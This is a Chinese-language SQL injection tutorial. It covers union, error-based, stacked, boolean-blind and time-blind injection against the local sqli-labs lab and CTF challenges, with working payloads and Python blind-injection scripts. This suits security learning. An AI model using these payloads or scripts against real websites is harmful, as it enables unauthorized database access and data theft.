一、SQL注入的成因
开发人员在开发过程中,直接将URL中的参数、HTTP Body中的Post参数或其他外来的用户输入(如Cookies,UserAgent等)与SQL语句进行拼接,造成待执行的SQL语句可控,从而使我们可以执行任意SQL语句。
二、搭建SQL注入练习平台
- sqli-labs是一款学习SQL注入的开源平台
- 下载:https//github.com/skyblueee/sqli-labs-php7
- 打开phpstady的 www 根目录,解压到根目录下
- 打开phpMyAdmin 数据库管理工具
- 在数据库中新建一个security数据库
- 选择sqli-labs目录中的sql-lab.sql文件,点执行导入到数据库中
- 打开sqli-labs文件下的sql-connections文件夹中的db-creds.inc文件,修改连接数据库中的密码
三、SQL注入分类
3.1 有回显的注入
3.1.1 联合注入
联合注入,表示存在可以使用union关键字进行SQL注入的注入点。
例题:http://localhost/sqli-labs/Less-1/ 源代码中SQL语句部分如下:
<?php
if(isset($_GET['id']))
{
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
通过SQL语句中的$id变量,该变量会将GET获取到的参数直接拼接到SQL语句中。如果我们传入参数:
?id=1' union select database() #
那么源代码里面的SQL语就会变成:
$sql="SELECT * FROM users WHERE id='1' union select database() # LIMIT 0,1";
通过传入的单引号闭合前面的单引号,#注释掉后面的语句,中间写上我们需要运行的语句就可以了。
3.1.1.1手动注入一般解题步骤:
-
判断网站是否可以进行SQL注入
- 分别输入不同的id值
- 有结果:1
- 有结果:1’ and 1=1#
- 无结果:1’ and 1=2#
-
. 依次试一试数据表中有多少列,如果order by 5 报错,则表示有4列。
?id=1’ order by 4 # -
查看版本和数据名称 :select 1,2,3…这里根据数据表中的列数来决定参数数量。
?id=1’and 1=2 union select 1,version() , database() # -
查看所有数据库:当flag不在当前数据库 可以通过下面的方法查询所有数据库名称,
?id=1’and 1=2 union select 1, (select group_concat(schema_name) from information_schema.schemata ) # -
查看数据库中的所有表
?id=1’and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 数据库名称) #
or
?id=1’and 1=2 union select 1,(select table_name from information_schema.tables where table_schema = 数据库名称 limit 0,1 ) # -
查看表中的所有字段
?id=1’and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 表名) # -
查看字段的所有值
?id=1’and 1=2 union select 1,(select 字段名称 from 表名 ) #
关于information_schema:MySQL 中的 information_schema 数据库
3.1.1.2 使用SQLmap工具注入步骤:
参考资料:sqlmap使用教程(超详细)
3.1.1.3 CTF练习
- [极客大挑战 2019]EasySQL
- 查看源码,并么有发现SQL语句。尝试弱密码,没有试用出密码。所以尝试注入。
- 在BurpSuite中通过Repeater通过手工注入即可得到flag。
- [极客大挑战 2019]LoveSQL
- 查看源码,没有SQL语句。尝试弱密码登陆也失败了。继续用SQL注入,通过注入username=admin’ or 1=1 #
- 通过注入可以知道,flag可能藏在了其他数据表中,通过ORDER BY语句查看到该数据表只有3列。
- 使用Union关键字连接两个查询语句,并查询出当前数据库名称:
- 根据数据库名称查询出所有表名称,使用group_concat()将所有表名连接合并成一个字符串。得到两个数据表名:geekuser和l0ve1ysq1,猜flag可能在l0ve1ysq1表中。
- 查询l0ve1ysq1表的所有字段名
- 最后查询表中所有值:得到flag
3.1.2 报错注入
3.1.2.1 extractvalue函数
extractevalue函数是对XML文档进行查询的函数。
语法: extractvalue(目标XML文档,XML路径)
mysql> select extractvalue('<div>value</div>','div');
+----------------------------------------+
| extractvalue('<div>value</div>','div') |
+----------------------------------------+
| value |
+----------------------------------------+
1 row in set (0.00 sec)
上面的SQL语句查询出div标签的值为value。如果查询的标签名格式不对,就会报错。例如:以 ~ 开关,并显示查询的标签名。
mysql> select extractvalue('<div>value</div>','~div');
ERROR 1105 (HY000): XPATH syntax error: '~div'
mysql> select extractvalue('<div>value</div>',concat('~',database()));
ERROR 1105 (HY000): XPATH syntax error: '~security'
所以,就可以利用extractvalue函数的报错回显,来显示我们需要的信息。
使用步骤:
- 使用extractvalue 攻击获取数据库名:
’ and extractvalue(‘div’,concat(‘~’,database())) # - 获取表名
’ and extractvalue(‘div’,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema = 数据库名))) # - 后续的操作与union联合注入类似。
3.1.2.2 updatexml函数
updatexml函数是用来更新xml文档中的值。
语法: updatexml(目标xml文档,xml路径,更新的类容)
mysql> select updatexml('<div>value</div>','/div','key') ;
+--------------------------------------------+
| updatexml('<div>value</div>','/div','key') |
+--------------------------------------------+
| key |
+--------------------------------------------+
1 row in set (0.00 sec)
上面的SQL语句,使用updatexml函数将<div>标签里面的值(原来是value)替换成key。
使用步骤:
- 使用updatexml攻击获取数据名:
’ and updatexml(‘div’,concat(‘~’,database(),‘hello’)) # - 后续步骤与union联合查询类似。
除了,上述两个函数进行报错注入外,其他的函数学习后了再继续总结。
3.1.3 堆叠注入
将SQL语句使用 “;”隔开。不是所有的可注入网站都可以进行堆叠注入。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
上面的PHP代码中,可以执行多重查询,则就可以使用堆叠注入,注入方式和union联合注入类似,只是不使用union连接两个SQL语句,而是直接使用分号隔开。
3.1.3.1 handler 命令:
- handler 要读取的表名 open as 别名;(打开一个句柄实例,也可以不取别名,用一个as是为了下面更加方便操作)
- handler 别名 read next;(将句柄移动到表中的第一行数据并且读取,也可以用first或者last读取第一行和最后一行)
- handler 别名 close;(将这个句柄实例关闭)
3.1.3.2 CTF练习
- [SUCTF 2019]EasySQL
- 输入1,返回一个 Array数组,所以判断可能存在多个返回信息。并且返回的信息通过数组进行存储。所以使用堆叠注入测试。
- 测试返现存在堆叠注入可能,并得到数据库名称 ctf ,继续查询数据库中的所有表名。
- 在查询表名时,发现回显的信息时Nonono,可能是对某些关键字进行了过滤,通过对单个关键字进行提交,发现它过滤了:from、where、flag、information_scheam等字符,只能尝试其他方式。
- 通过show tables ;查询出表名为Flag,刚刚已经知道了Flag是被过滤的关键字。所以我查看大佬的WP,幡然醒悟,当输入数字有回显,除了被过滤的关键字,其他任何字符串都没有回显,大佬的猜测原来的SQL语句使用“||”符号进行了隔断:
select $_POST('query') || flag from Flag ;
所以方法1:
直接通过注入 " *,1 " 就得到了下面的结果。
方法2:
通过将”||“的功能从或运算改为字符串拼接。
set sql_mode=PIPES_AS_CONCAT;
3.2 无回显的注入
3.2.1 Bool盲注
不会显示查询出来的数据,这是的注入就叫布尔注入或盲注。盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。
利用上面的特性,在使用一些判断语句,根据返回信息的不同进行判断,最终一步步拿到数据库信息。
3.2.1.1 Bool盲注中常用的函数
函数名 | 语法 | 功能介绍 |
---|---|---|
substr | substr(string,start,length) | 截取函数,截取字符串从start位置开始,截取length长度的字符串。 |
left | left(string,length) | 左截取函数,从左边开始,截取长度为length的字符串。 |
right | right(string,length) | 右截取函数,从右边开始,截取长度为length的字符串。 |
ascii | ascii(char) | 将一个字符转换成ASCII码 |
hex | hex(string) | 可以将字符串的值转换成十六进制 |
if | if(comd,Ture_result,False_result) | 比较函数 |
mysql> select substr('abc',1,2);
+-------------------+
| substr('abc',1,2) |
+-------------------+
| ab |
+-------------------+
1 row in set (0.00 sec)
mysql> select left('abc',1);
+---------------+
| left('abc',1) |
+---------------+
| a |
+---------------+
1 row in set (0.00 sec)
mysql> select right('abc',1);
+----------------+
| right('abc',1) |
+----------------+
| c |
+----------------+
1 row in set (0.00 sec)
mysql> select ascii('a');
+------------+
| ascii('a') |
+------------+
| 97 |
+------------+
1 row in set (0.00 sec)
mysql> select hex('a');
+----------+
| hex('a') |
+----------+
| 61 |
+----------+
1 row in set (0.00 sec)
mysql> select if(1>2,1,2) ;
+-------------+
| if(1>2,1,2) |
+-------------+
| 2 |
+-------------+
1 row in set (0.00 sec)
3.2.1.2 sqli-labs 练习题8
- 判断数据名的长度为多少
- 当注入 1’ and length(database())< 9 # 时,有You are in …回显
- 当注入 1’ and length(database())< 8 # 时,没有回显
- 所以数据库名称长度为8,。
- 通过匹配数据库名的各个位置上的ASCII码值,来找出数据库名。
- 1’ and ascii(substr(database(),1,1))=115 # s:115 有You are in …回显,所以数据库的第一个字符为s
- 如果手工去判断,任务太艰巨,所以我们使用Burpsuite工具或者Python脚本进行暴力注入。
3.2.1.3 使用Burpsuite工具
-
将request发送到Intruder
-
清除它自动添加$,然后通过手动添加$。这里我添加两个:第一个是代表数据库名的第几个字符,第二个是ASCII码值。然后在Attack type 选择 cluster bomb 。
3.使用payloads设置payload值,第1个值设置类型为Numbers,下面设置From:1,To:8,Step:1。表示从1开始跨度为1,直到8结束。同理第2个payload值设置类型为Numbers,From:32,To:127,Step:1。点击star attack开始爆破。
4. 通过Length的长度判断,本题中Length为890时表示正确的值,所以得到数据库的8位ascii码值:115、101、99、117、114、105、116、121。转换成字符串为: security
3.2.1.4 Python脚本
枚举法:
- 获得数据库的长度。
- 遍历所有可打印ASCII码的值
import time
import requests
url = 'http://127.0.0.1/sqli-labs/Less-8/'
session = requests.Session()
def getData():
results =[]
for i in range(1,9): # 1 , length(database()) + 1
print (f"{i}...:",end='')
for j in range(33,128): # ASCII
payload = {
'id':f"1'and ascii(substr(database(),{i},1)) = {j} #"
}
ret = session.get(url , params=payload)
if "You are in" in ret.text : # 如果 You are in 存在返回文本中
results.append(chr(j))
print(''.join(results))
break
return ''.join(results)
start = time.time()
getData()
print(f"time spend: {time.time()-start}") #查看花费时间
运行结果:
1...:s
2...:se
3...:sec
4...:secu
5...:secur
6...:securi
7...:securit
8...:security
time spend: 9.106735467910767
二分法:
- 优点
- 速度快
- 自动判断长度
import requests
import time
url = "http://127.0.0.1/sqli-labs/Less-8/"
sesion = requests.Session()
def getData() :
results = []
for i in range(1,100): # 随便遍历次数
print(f'{i}.....',end='')
start = -1
end = 255
mid = -1
while start < end :
mid = (start + end ) // 2
payload = {
'id':f"1' and ascii(substr(database(),{i},1)) > {mid} #"
}
ret = sesion.get(url,params=payload) # 使用get请求发送
if 'You are in' in ret.text : # 判断返回值
start = mid + 1
else :
end = mid
if mid == -1 :
break
results.append(chr(start))
print(''.join(results))
return ''.join(results)
begin = time.time()
getData()
print(f'time spend : {time.time() - begin}') #查看花费时间
1.....s
2.....se
3.....sec
4.....secu
5.....secur
6.....securi
7.....securit
8.....security
9.....time spend : 0.8055474758148193
3.3 时间盲注
时间盲注出现的本质原因也是由于服务器端拼接了SQL语句,但是正确和错误存在同样的回显。错误信息被过滤,不过,可以通过页面响应时间进行按位判断数据,与bool盲注类似。
3.3.1 时间盲注常用的函数
函数 | 语法 | 说明 |
---|---|---|
if | if(comd,Ture_result,False_result) | 比较函数 |
sleep | sleep(time) | 让程序停止执行一段指定的时间。 |
3.3.2 sqli-labs第9题
如上图无论注入参数是否正确,它回显的内容都是一样的。所以通过观察右下角的时间来判断是否成功。
1’and if(length(database())>7,sleep(1),1 ) # 如果数据库名称长度大于7则延迟1秒。
3.3.3 Python脚本
import requests
import time
url = "http://127.0.0.1/sqli-labs/Less-9/"
sesion = requests.Session()
def getData() :
results = []
for i in range(1,100): # 随便遍历次数
print(f'{i}.....',end='')
start = -1
end = 255
mid = -1
while start < end :
mid = (start + end ) // 2
payload = {
'id':f"1' and if(ascii(substr(database(),{i},1)) > {mid},sleep(1),1) #"
}
ret = sesion.get(url,params=payload) # 使用get请求发送
if ret.elapsed.total_seconds() >= 1 : # 判断返回值
start = mid + 1
else :
end = mid
if mid == -1 :
break
results.append(chr(start))
print(''.join(results))
return ''.join(results)
begin = time.time()
getData()
print(f'time spend : {time.time() - begin}') #查看花费时间
运行结果:
1.....s
2.....se
3.....sec
4.....secu
5.....secur
6.....securi
7.....securit
8.....security
9.....time spend : 38.894463777542114